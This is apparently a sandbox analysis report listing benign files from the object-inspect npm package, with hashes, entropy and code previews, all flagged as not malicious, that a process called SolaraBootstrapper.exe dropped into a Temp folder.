C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\example\inspect.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	5.079275931527289
Encrypted:	false
SSDEEP:	6:QaQIcA8gxs78mgO9lcHPbwieCaMe7guAOe+kztcJNbIYBfv:q9LasYucHPZeCaMeEjlcJhImfv
MD5:	07A5BAC8D2A636ECE191D742F496169D
SHA1:	537253E832602C4839F935BDE340C49A0CD44AA2
SHA-256:	060983EDB7C1A8350A7DACBE2F209D96C62B657B0FFBBEBBFE7FC3CD19E58E77
SHA-512:	2722402D6FCE40FF917D759F322C4944DA71BA9A68D24292D876A36AE62CA2BCAA8677DB4FE6AC6B7BF631CD52BBF121B3AA838FBAA9F1A5339BA26C073A2D53
Malicious:	false
Preview:	'use strict';../* eslint-env browser */.var inspect = require('../');..var d = document.createElement('div');.d.setAttribute('id', 'beep');.d.innerHTML = '<b>wooo</b><i>iiiii</i>';..console.log(inspect([d, { a: 3, b: 4, c: [5, 6, [7, [8, [9]]]] }]));.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	18882
Entropy (8bit):	4.834012149504999
Encrypted:	false
SSDEEP:	384:BNspDgYPWTFfB8OnNR6zAvnlxpCZydTgNR2cy5Y/o8xhEJl:BuxgYsWOnNozOx+yxgv2Zh
MD5:	30AEC21DA8FC4B15F237A4D6B99D1A9B
SHA1:	362295D5C15B784BFAED0E8E0842E480B62EF811
SHA-256:	FF92423AB1DB977C56B6A8F8BF38EA0DE97590E96DFA18ADA2639EDE3CA9CB42
SHA-512:	3164926F777EF113310519E249CE766223B5A967CC8638F1859B159DAE4A0B4971ABAA5184E29953E168F415EF9FB11DEA74C78154999B9BB846EECAABE56E58
Malicious:	false
Preview:	var hasMap = typeof Map === 'function' && Map.prototype;.var mapSizeDescriptor = Object.getOwnPropertyDescriptor && hasMap ? Object.getOwnPropertyDescriptor(Map.prototype, 'size') : null;.var mapSize = hasMap && mapSizeDescriptor && typeof mapSizeDescriptor.get === 'function' ? mapSizeDescriptor.get : null;.var mapForEach = hasMap && Map.prototype.forEach;.var hasSet = typeof Set === 'function' && Set.prototype;.var setSizeDescriptor = Object.getOwnPropertyDescriptor && hasSet ? Object.getOwnPropertyDescriptor(Set.prototype, 'size') : null;.var setSize = hasSet && setSizeDescriptor && typeof setSizeDescriptor.get === 'function' ? setSizeDescriptor.get : null;.var setForEach = hasSet && Set.prototype.forEach;.var hasWeakMap = typeof WeakMap === 'function' && WeakMap.prototype;.var weakMapHas = hasWeakMap ? WeakMap.prototype.has : null;.var hasWeakSet = typeof WeakSet === 'function' && WeakSet.prototype;.var weakSetHas = hasWeakSet ? WeakSet.prototype.has : null;.var hasWeakRef = typeof

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\package-support.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	365
Entropy (8bit):	4.006285574018992
Encrypted:	false
SSDEEP:	6:lQS1kS0Nw2TsjCAnqH1UnPoLkwN6akf0Ga0Qi7FZ8v:d1d0N36qVskkxak7aMv+
MD5:	6FCE49F76312774C181AACAA28EB6F03
SHA1:	ABDBD6FD5882FA792B013CDE86BB8CE0E0988B0D
SHA-256:	1D6770F17CA57A021AF57C931EBD3C787D0D06EBAED27DA98CFCC2EF77633247
SHA-512:	E1AFFADF56B6C28303DE6C229D25D05AB44F27F47B161156F3DA5521670F33150033B9EF511267136490E5B0E715D41FD2434BEB9BCF3247ECE99E30F2CBE808
Malicious:	false
Preview:	{. "versions": [. {. "version": "*",. "target": {. "node": "all". },. "response": {. "type": "time-permitting". },. "backing": {. "npm-funding": true,. "donations": [. "https://github.com/ljharb",. "https://tidelift.com/funding/github/npm/object-inspect". ]. }. }. ].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2702
Entropy (8bit):	4.788682108499932
Encrypted:	false
SSDEEP:	48:d1upQssIqgNpjqUL+7hALhag84+pB6M6X/YsEg4Gpu48H3swNCqQ94VZg:mpQswUhh+n63e3Gpu48H3tCqQ2e
MD5:	883B6091188E84E9DA4678F187C5251A
SHA1:	183856BC2F8CE3237B57E70C9D2EFF482DE00732
SHA-256:	8C3D7D1600BAAC2F157420293E74D75CD848771F6B5EB0F3EF836631051E3753
SHA-512:	1363574F5355107EC24DFBAF5D946FAA080E1DCB1E7F0C8DF2E630EC97A2DBE76780AD3AAF4A047B538E4E89B965D991FEDF951CA8CC06CE6D51773E5C84CB5C
Malicious:	false
Preview:	{. "name": "object-inspect",. "version": "1.13.1",. "description": "string representations of objects in node and the browser",. "main": "index.js",. "sideEffects": false,. "devDependencies": {. "@ljharb/eslint-config": "^21.1.0",. "@pkgjs/support": "^0.0.6",. "auto-changelog": "^2.4.0",. "core-js": "^2.6.12",. "error-cause": "^1.0.6",. "es-value-fixtures": "^1.4.2",. "eslint": "=8.8.0",. "for-each": "^0.3.3",. "functions-have-names": "^1.2.3",. "glob": "=10.3.7",. "globalthis": "^1.0.3",. "has-tostringtag": "^1.0.0",. "in-publish": "^2.0.1",. "jackspeak": "=2.1.1",. "make-arrow-function": "^1.2.0",. "mock-property": "^1.0.2",. "npmignore": "^0.3.0",. "nyc": "^10.3.2",. "safe-publish-latest": "^2.0.0",. "string.prototype.repeat": "^1.0.0",. "tape": "^5.7.1". },. "scripts": {. "prepack": "npmignore --auto --commentLines=autogenerated",. "prepublish": "not-in-publish \|\| npm run prepublishOnly",. "prepublishOn

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\readme.markdown

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2934
Entropy (8bit):	5.13814439819533
Encrypted:	false
SSDEEP:	48:DpQ1eI4ITUqpIgsB5hN18eIkDanK/baMIm9N9Ygl3Cy5IL0IoIsv:DpAXFnGgs7hN18H8anQbaiHxaLxVO
MD5:	5CCC51D51BC408A112F55E14044326AA
SHA1:	3D17CF7EC801109D00D971211CB4A4A0962E3F86
SHA-256:	FBD54872FD590AE1C104BA3F9F0CC00E08898209736F7BA57BAC74185423D89E
SHA-512:	E2F5E9F4ED4EACD3881E02F582ECB45F5746620012163EDE966E51D900F735A7316CA55F9E3F7EBAEEBEA9EB76E15167EC12914FC441A9018FB7CCC254317DC9
Malicious:	false
Preview:	# object-inspect <sup>[![Version Badge][2]][1]</sup>..string representations of objects in node and the browser..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][5]][6].[![dev dependency status][7]][8].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][11]][1]..# example..## circular..``` js.var inspect = require('object-inspect');.var obj = { a: 1, b: [3,4] };.obj.c = obj;.console.log(inspect(obj));.```..## dom element..``` js.var inspect = require('object-inspect');..var d = document.createElement('div');.d.setAttribute('id', 'beep');.d.innerHTML = '<b>wooo</b><i>iiiii</i>';..console.log(inspect([ d, { a: 3, b : 4, c: [5,6,[7,[8,[9]]]] } ]));.```..output:..```.[ <div id="beep">...</div>, { a: 3, b: 4, c: [ 5, 6, [ 7, [ 8, [ ... ] ] ] ] } ].```..# methods..``` js.var inspect = require('object-inspect').```..## var s = inspect(obj, opts={})..Return a string `s` with the st

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test-core-js.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	534
Entropy (8bit):	4.711811985853924
Encrypted:	false
SSDEEP:	12:F+9Ks1qm0ogZs1v/eo/Ms1gDQogeMs1E/goS:/s1qm0oqs1v/eoks1gDQoYs1E/goS
MD5:	6B077CA4E0121955B25394433C54343C
SHA1:	81087ABE28D26DAC0808D6C210390EA3D57A1232
SHA-256:	16D580A89DEC81A3657E20D9F827768178ABE029BF31A950136A38852B493B9A
SHA-512:	48C2346DC4FC4D832A7335E0D66AA638BCC097AB11E79B0E66389AC9B990D8CE8950CEE7FB3CA3D30EDD89E27AF6EEC3CDDEA1E727FAEFED89EDA24C82AF71D7
Malicious:	false
Preview:	'use strict';..require('core-js');..var inspect = require('./');.var test = require('tape');..test('Maps', function (t) {. t.equal(inspect(new Map([[1, 2]])), 'Map (1) {1 => 2}');. t.end();.});..test('WeakMaps', function (t) {. t.equal(inspect(new WeakMap([[{}, 2]])), 'WeakMap { ? }');. t.end();.});..test('Sets', function (t) {. t.equal(inspect(new Set([[1, 2]])), 'Set (1) {[ 1, 2 ]}');. t.end();.});..test('WeakSets', function (t) {. t.equal(inspect(new WeakSet([[1, 2]])), 'WeakSet { ? }');. t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\bigint.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2082
Entropy (8bit):	4.792824681597972
Encrypted:	false
SSDEEP:	24:m2hNieJkdbNljEz+oNhEbLVy8+l8EEXOk95DAwNMLcC/h5OB7whJOXHwSwhuOSHu:pgmI8z+PfVvRHXOkUoCo1fvO
MD5:	184BB2182A9A0391EF8D996DBFFEEDC2
SHA1:	0D41749FE165079A5409E489C329E77579AA0A11
SHA-256:	2FDE9C2F1050C282C681F7F8AE987E68668271E2DBCA302AF431505E26D5981C
SHA-512:	A9CD46784436A0DC32E13BD5BC4EEE6CCB48FE07AD3868BF542CE75F61927794270D4D77AC23484F184A1303742A7F4AAFEB803E5396E6AC1155C049355C7BDE
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var test = require('tape');.var hasToStringTag = require('has-tostringtag/shams')();..test('bigint', { skip: typeof BigInt === 'undefined' }, function (t) {. t.test('primitives', function (st) {. st.plan(3);.. st.equal(inspect(BigInt(-256)), '-256n');. st.equal(inspect(BigInt(0)), '0n');. st.equal(inspect(BigInt(256)), '256n');. });.. t.test('objects', function (st) {. st.plan(3);.. st.equal(inspect(Object(BigInt(-256))), 'Object(-256n)');. st.equal(inspect(Object(BigInt(0))), 'Object(0n)');. st.equal(inspect(Object(BigInt(256))), 'Object(256n)');. });.. t.test('syntactic primitives', function (st) {. st.plan(3);.. /* eslint-disable no-new-func */. st.equal(inspect(Function('return -256n')()), '-256n');. st.equal(inspect(Function('return 0n')()), '0n');. st.equal(inspect(Function('return 256n')()), '256n');. });.. t.test('toStringT

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\browser\dom.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	416
Entropy (8bit):	4.813440858707373
Encrypted:	false
SSDEEP:	12:tsAjYsucHNDeCaMelKkKklcJhImaOHl6XBw:lYsuctDyKXbJhImak6Xy
MD5:	4B660AA43C5D4AB9AD1EBBB0A5E02C3A
SHA1:	2CD5165CF9B8ADF1A6EA5F7A824F61B3263BE8E4
SHA-256:	4450F3ADF5025565D98C6B8B8164884656D1187F9102636B016E7CF2895E8571
SHA-512:	2B3548DCA370B40B86BF600FB526DB84311D7B4840FC60BC4F6087DB9AC399FC24BFD2F17CE1DEAF72F160987A43E00001FB3C51F0A29DECCA25233FBC5C9E48
Malicious:	false
Preview:	var inspect = require('../../');.var test = require('tape');..test('dom element', function (t) {. t.plan(1);.. var d = document.createElement('div');. d.setAttribute('id', 'beep');. d.innerHTML = '<b>wooo</b><i>iiiii</i>';.. t.equal(. inspect([d, { a: 3, b: 4, c: [5, 6, [7, [8, [9]]]] }]),. '[ <div id="beep">...</div>, { a: 3, b: 4, c: [ 5, 6, [ 7, [ 8, [Object] ] ] ] } ]'. );.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\circular.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	451
Entropy (8bit):	4.617011266776486
Encrypted:	false
SSDEEP:	6:qaxUALS8/wgC+mLfwFwSYyEkWcy/AZIF1NiYkZkncFktqmHLEcaV9NEh:tRS4TmDSRWL/641NiYm7mLEdn6h
MD5:	5ABB264921988B179B7B5E00492660E5
SHA1:	340F146693A8E99579CD9E61211FBB023030C7DC
SHA-256:	E904CDDC6F53B4D0CA9171CEB31FE4039B8FEDEA78575863158B86A2EBA74D5C
SHA-512:	A8EC790096EC28F83F21F0B455B0A0FDE534707E0A03B7AAEDB601E0AE669171BAA091D5B247E2EA35DA8AD0CF2801A7444167D3F14A318CBA45287AC6D8CAD5
Malicious:	false
Preview:	var inspect = require('../');.var test = require('tape');..test('circular', function (t) {. t.plan(2);. var obj = { a: 1, b: [3, 4] };. obj.c = obj;. t.equal(inspect(obj), '{ a: 1, b: [ 3, 4 ], c: [Circular] }');.. var double = {};. double.a = [double];. double.b = {};. double.b.inner = double.b;. double.b.obj = double;. t.equal(inspect(double), '{ a: [ [Circular] ], b: { inner: [Circular], obj: [Circular] } }');.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\deep.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	400
Entropy (8bit):	4.616069165611815
Encrypted:	false
SSDEEP:	12:tRkzzdUYi4+EECWoLRZ9t+ECVoLRh666+tcRit+A:kKLzEEDoLRZmEcoLR/LtcRhA
MD5:	5D6AD24AD4F0B8F42D82BB5EBE29C7FF
SHA1:	21FE20D3E3C14C823999A243D697F09DB1E80AA9
SHA-256:	BFDD266350646F91F8B1367EE96925228FBB38C0FFA6AD285964465FAE5D2DD4
SHA-512:	89C8E73609696A6C3186079A1A9DA7FED17725D0693BEE0F9A63FC1E215D93FC395415C2514031FB85DF0E21649C18737DA23CE8AFFD16FD956FAFA30DA3A137
Malicious:	false
Preview:	var inspect = require('../');.var test = require('tape');..test('deep', function (t) {. t.plan(4);. var obj = [[[[[[500]]]]]];. t.equal(inspect(obj), '[ [ [ [ [ [Array] ] ] ] ] ]');. t.equal(inspect(obj, { depth: 4 }), '[ [ [ [ [Array] ] ] ] ]');. t.equal(inspect(obj, { depth: 2 }), '[ [ [Array] ] ]');.. t.equal(inspect([[[{ a: 1 }]]], { depth: 3 }), '[ [ [ [Object] ] ] ]');.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\element.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1575
Entropy (8bit):	4.803982543724783
Encrypted:	false
SSDEEP:	24:SqyIkySKrdEyLSK8tyLWRGLI8elKlhZlly8cwzKXY:SH9yS8LSsLsGLZh7cjwv
MD5:	83A77BDF49696A35F8D832A5FC1A740D
SHA1:	F6DAFEB02C2FFAAAE8158C013A13EAD3369050A0
SHA-256:	603B3D295BC8114FCF9DF39CCFCB1AF3091AD7F50C7963B73D03F624D0E12DEF
SHA-512:	D60BFACD02693A5C4852DB7682512269317FA1E24ED3DF206133B15518B23149767B108D8D5C5F6AB4DB3651A353E2BD4839C1457D103F4DB7A6FD07B1D9CBA9
Malicious:	false
Preview:	var inspect = require('../');.var test = require('tape');..test('element', function (t) {. t.plan(3);. var elem = {. nodeName: 'div',. attributes: [{ name: 'class', value: 'row' }],. getAttribute: function (key) { return key; },. childNodes: []. };. var obj = [1, elem, 3];. t.deepEqual(inspect(obj), '[ 1, <div class="row"></div>, 3 ]');. t.deepEqual(inspect(obj, { quoteStyle: 'single' }), "[ 1, <div class='row'></div>, 3 ]");. t.deepEqual(inspect(obj, { quoteStyle: 'double' }), '[ 1, <div class="row"></div>, 3 ]');.});..test('element no attr', function (t) {. t.plan(1);. var elem = {. nodeName: 'div',. getAttribute: function (key) { return key; },. childNodes: []. };. var obj = [1, elem, 3];. t.deepEqual(inspect(obj), '[ 1, <div></div>, 3 ]');.});..test('element with contents', function (t) {. t.plan(1);. var elem = {. nodeName: 'div',. getAttribute: function (key) { return key; },.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\err.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	4.6049941739196125
Encrypted:	false
SSDEEP:	24:YCW0YGiAmQocGSXXkUA2uFFIwik/oWdJYW5LbhOZpou/MW/asEALIkf1U1Af1htU:5M8o3SnlfKdRthObnUpkf1U1Af1ha
MD5:	597BF5A18387338A13F96892206A3A19
SHA1:	FAA1A3859812D32F723D5F226AF6A322123CB104
SHA-256:	3E673A17CBD47A527578D82AA9FEFF31621FCCA1BBF8D5FF88948633C3485644
SHA-512:	3DF3824FEF57FA27959C9502329C9B5E40A0449D060F7C9259DF3DF0F4B299CBAFB0EC1BFFA35A40817312D54EA43C550502355AA323BBC9B3A33FBA8CF090C7
Malicious:	false
Preview:	var test = require('tape');.var ErrorWithCause = require('error-cause/Error');..var inspect = require('../');..test('type error', function (t) {. t.plan(1);. var aerr = new TypeError();. aerr.foo = 555;. aerr.bar = [1, 2, 3];.. var berr = new TypeError('tuv');. berr.baz = 555;.. var cerr = new SyntaxError();. cerr.message = 'whoa';. cerr['a-b'] = 5;.. var withCause = new ErrorWithCause('foo', { cause: 'bar' });. var withCausePlus = new ErrorWithCause('foo', { cause: 'bar' });. withCausePlus.foo = 'bar';. var withUndefinedCause = new ErrorWithCause('foo', { cause: undefined });. var withEnumerableCause = new Error('foo');. withEnumerableCause.cause = 'bar';.. var obj = [. new TypeError(),. new TypeError('xxx'),. aerr,. berr,. cerr,. withCause,. withCausePlus,. withUndefinedCause,. withEnumerableCause. ];. t.equal(inspect(obj), '[ ' + [. '[TypeError]',. '[Typ

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\fakes.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	683
Entropy (8bit):	4.497758303715642
Encrypted:	false
SSDEEP:	12:sRV2hNclYLkvkBEGUKoD8FT2ddqr/4bbzsys564iL+b/FDR1nS:m2hNUrvkNToDvde4bEHiLKpRhS
MD5:	1517782BC7C86D8D4EA9E90D33037EFE
SHA1:	E78BEE2D9EEB0F7970DB84201F01941C919C63BD
SHA-256:	95454B37E092016B765DC3702C9D60B363A62E8B03DB8F39F5E7E4D37B17AF82
SHA-512:	24B5ECED9D52AA24E2FBAF9E02DE6AA4C907BD4162A98D575528C77FA26CCB407D3A37A8280B965027B12919D3FDA7E464037F46139D30D4B94BB9B7666640E2
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var test = require('tape');.var hasToStringTag = require('has-tostringtag/shams')();.var forEach = require('for-each');..test('fakes', { skip: !hasToStringTag }, function (t) {. forEach([. 'Array',. 'Boolean',. 'Date',. 'Error',. 'Number',. 'RegExp',. 'String'. ], function (expected) {. var faker = {};. faker[Symbol.toStringTag] = expected;.. t.equal(. inspect(faker),. '{ [Symbol(Symbol.toStringTag)]: \'' + expected + '\' }',. 'faker masquerading as ' + expected + ' is not shown as one'. );. });.. t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\fn.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2227
Entropy (8bit):	4.694473065755095
Encrypted:	false
SSDEEP:	24:A7D9Q0h3PjaSCmv+8aiZC7UYz8mv7Mva48mvPKTdWrmR+NCThDRiMF9aFaDKEuFd:A7G6m0vQNvA1vq40eUa7eQuZzaV
MD5:	921058AF80F9803DB1A2C8F4D7F5E701
SHA1:	7F2632DAF24BF80417E9E21407CEC2A7770A9BB3
SHA-256:	E2F0DC345D174BFB0F7CE790C5368702310015B0BE1EF274D72E3CE740DBE5D4
SHA-512:	09439C8BB9BB981343A858B2FDB37A5FC2B2391E173CBADF9E188716A84727DA2837AF2BF169FEA9509D5ACB35CDAA1B73F2A31452B89DBC65F99A307A449D2C
Malicious:	false
Preview:	var inspect = require('../');.var test = require('tape');.var arrow = require('make-arrow-function')();.var functionsHaveConfigurableNames = require('functions-have-names').functionsHaveConfigurableNames();..test('function', function (t) {. t.plan(1);. var obj = [1, 2, function f(n) { return n; }, 4];. t.equal(inspect(obj), '[ 1, 2, [Function: f], 4 ]');.});..test('function name', function (t) {. t.plan(1);. var f = (function () {. return function () {};. }());. f.toString = function toStr() { return 'function xxx () {}'; };. var obj = [1, 2, f, 4];. t.equal(inspect(obj), '[ 1, 2, [Function (anonymous)] { toString: [Function: toStr] }, 4 ]');.});..test('anon function', function (t) {. var f = (function () {. return function () {};. }());. var obj = [1, 2, f, 4];. t.equal(inspect(obj), '[ 1, 2, [Function (anonymous)], 4 ]');.. t.end();.});..test('arrow function', { skip: !arrow }, function (t) {. t.equal(inspect(arrow), '[Functi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\global.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	372
Entropy (8bit):	4.696157876222702
Encrypted:	false
SSDEEP:	6:Qhx8ALSEMbeajFXIcASmnqSlgxKA4ZxelFyQN6EJKLARuZXHqHHS:s8S4t9ZmquPwyqHksRuZXKS
MD5:	FE558C636B4234439B376B2E1B27F002
SHA1:	4FD83D73BB033D306F0B9B3CCFB823FE8367A7AA
SHA-256:	7C90C87B9B5062FA2AD7889E8981628D390CCC2C868E0A02BCC9FC2BE19492F8
SHA-512:	37A1FD08D61C3875789B71CB47E6251442EA77079028A13958D2B4B37A6F58DBE127E1993D5854E7FBF05734929FEDB3A06BE27C9E7027CD99E0F4AB31A8059A
Malicious:	false
Preview:	'use strict';..var inspect = require('../');..var test = require('tape');.var globalThis = require('globalthis')();..test('global object', function (t) {. /* eslint-env browser */. var expected = typeof window === 'undefined' ? 'globalThis' : 'Window';. t.equal(. inspect([globalThis]),. '[ { [object ' + expected + '] } ]'. );.. t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\has.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	514
Entropy (8bit):	4.85155815285756
Encrypted:	false
SSDEEP:	6:QhxUALeON64qHY3wO2P/qYKlI3e2GJosqJGMuPFyzXpwpJ+s2GmKHqJUSipKD4KH:sRRwHa8q7lbHt0p46ipK0A
MD5:	0694ED878C8943DBC3388240CC25D3EA
SHA1:	BC38AB803D5082C70592725ABAF3142AF66EB52A
SHA-256:	929E5D9EE18E4FD7E6E7DA3C6D9F988C4643CC8254F0C18950F28C102A10AD5D
SHA-512:	F417CB3FA6C66AD1F9E4EE3149D290071FD2573D4FAAA1E2D30EB25732EE23F78194850EE5394E2C4931A1404A50D0E63FB367047CDB3DA4B70972531240A8AA
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var test = require('tape');.var mockProperty = require('mock-property');..test('when Object#hasOwnProperty is deleted', function (t) {. t.plan(1);. var arr = [1, , 3]; // eslint-disable-line no-sparse-arrays.. t.teardown(mockProperty(Array.prototype, 1, { value: 2 })); // this is needed to account for "in" vs "hasOwnProperty". t.teardown(mockProperty(Object.prototype, 'hasOwnProperty', { 'delete': true }));.. t.equal(inspect(arr), '[ 1, , 3 ]');.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\holes.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	255
Entropy (8bit):	4.45127014258196
Encrypted:	false
SSDEEP:	6:qULoxwWJa5tMKS7HPP/oQNXEJeCoDsi2whw:zywWi9s/oWeoDs7+w
MD5:	2C0CBCC4BB33C7CDCB577DA13B553A22
SHA1:	363C0159CA852EBBEDC3052EED5A22B18705BDDC
SHA-256:	6DEBF6783179E75E1559BD5DDAFB7352244D11204F3BE24D9C93FE96778F55F2
SHA-512:	DF93430971CEFBC1F879A717247AA65D1E92DCBBBB98D4B46F355BA3A8DF0F7EB7E2C05B0F8373A4C946C737716AFA151157BDDC7226391EEC9C81C9E70CCC7D
Malicious:	false
Preview:	var test = require('tape');.var inspect = require('../');..var xs = ['a', 'b'];.xs[5] = 'f';.xs[7] = 'j';.xs[8] = 'k';..test('holes', function (t) {. t.plan(1);. t.equal(. inspect(xs),. "[ 'a', 'b', , , , 'f', , 'j', 'k' ]". );.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\indent-option.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6633
Entropy (8bit):	4.377727980344043
Encrypted:	false
SSDEEP:	48:FY+jyMwYWDoGOxBG9pnoHe8hTHiw7oWD0oXZ/PJEr/6rN/di2/i6xElq0qBZmEc7:FgCWJOxBGbpeHiwXi+TiMi9E7FO8I8cD
MD5:	EBD803D85016BEC5528CB8E3E2637E9E
SHA1:	F63D035326A6D661790E7DF0CD5EC09C84B6C06B
SHA-256:	88AB6D6B8D0B059B0CE6B1632BDD5B8A7A218B61572F2FA6C9F01ABC9925A362
SHA-512:	11A8F648A496D10402E67B8A126266F241DFE7B91E91E322BE8D94EA72FB75EC932DB037CD8FEE768D24981BFB02D178FA958742D5F70D5DDBE6F4A2E64B213E
Malicious:	false
Preview:	var test = require('tape');.var forEach = require('for-each');..var inspect = require('../');..test('bad indent options', function (t) {. forEach([. undefined,. true,. false,. -1,. 1.2,. Infinity,. -Infinity,. NaN. ], function (indent) {. t['throws'](. function () { inspect('', { indent: indent }); },. TypeError,. inspect(indent) + ' is invalid'. );. });.. t.end();.});..test('simple object with indent', function (t) {. t.plan(2);.. var obj = { a: 1, b: 2 };.. var expectedSpaces = [. '{',. ' a: 1,',. ' b: 2',. '}'. ].join('\n');. var expectedTabs = [. '{',. '.a: 1,',. '.b: 2',. '}'. ].join('\n');.. t.equal(inspect(obj, { indent: 2 }), expectedSpaces, 'two');. t.equal(inspect(obj, { indent: '\t' }), expectedTabs, 'tabs');.});..test('two deep object with indent', function (t) {. t.plan(2);..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\inspect.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4946
Entropy (8bit):	4.8512527641865235
Encrypted:	false
SSDEEP:	96:TiX+L0xxC/IbTB/OqMl6ZVSXRadVbgSdaFgYinkswt9F:eDUfl6ZVS4dVLdavqvc9F
MD5:	A5BA2487B711A790C4E5D937363668EA
SHA1:	9FC5B4F123621597589B21112BBB0972E83B70A3
SHA-256:	8C60F38286B654632CDFC4015A47657C339591E82A4489E181B689E2F2625D23
SHA-512:	97964B04C56F5A066C60F76A1266430CDCA05CCE73AFF63E30377DA9B98E6B08E38D9DA8E63AAFE8A1D7C3D4CBDF73F8781A14723FAFEC210D96D22143703CB9
Malicious:	false
Preview:	var test = require('tape');.var hasSymbols = require('has-symbols/shams')();.var utilInspect = require('../util.inspect');.var repeat = require('string.prototype.repeat');..var inspect = require('..');..test('inspect', function (t) {. t.plan(5);.. var obj = [{ inspect: function xyzInspect() { return '!XYZ.'; } }, []];. var stringResult = '[ !XYZ., [] ]';. var falseResult = '[ { inspect: [Function: xyzInspect] }, [] ]';.. t.equal(inspect(obj), stringResult);. t.equal(inspect(obj, { customInspect: true }), stringResult);. t.equal(inspect(obj, { customInspect: 'symbol' }), falseResult);. t.equal(inspect(obj, { customInspect: false }), falseResult);. t['throws'](. function () { inspect(obj, { customInspect: 'not a boolean or "symbol"' }); },. TypeError,. '`customInspect` must be a boolean or the string "symbol"'. );.});..test('inspect custom symbol', { skip: !hasSymbols \|\| !utilInspect \|\| !utilInspect.custom }, function (t) {. t.plan(

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\lowbyte.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	268
Entropy (8bit):	4.681947479643974
Encrypted:	false
SSDEEP:	6:qULoxHR/uvFS9JEWmaVP/oQ3s/J56xCtkkwhw:zyHC+/ma9ot5oCtkk+w
MD5:	B654AE5EB4FC69C50815825F0409935B
SHA1:	33FB054501A7AC439112B9AA209A52C74E21FDF9
SHA-256:	A0CE0AB0DEE87383B9D2D957F76EB21658A9A660FD80CD666F0F94AA4B28478F
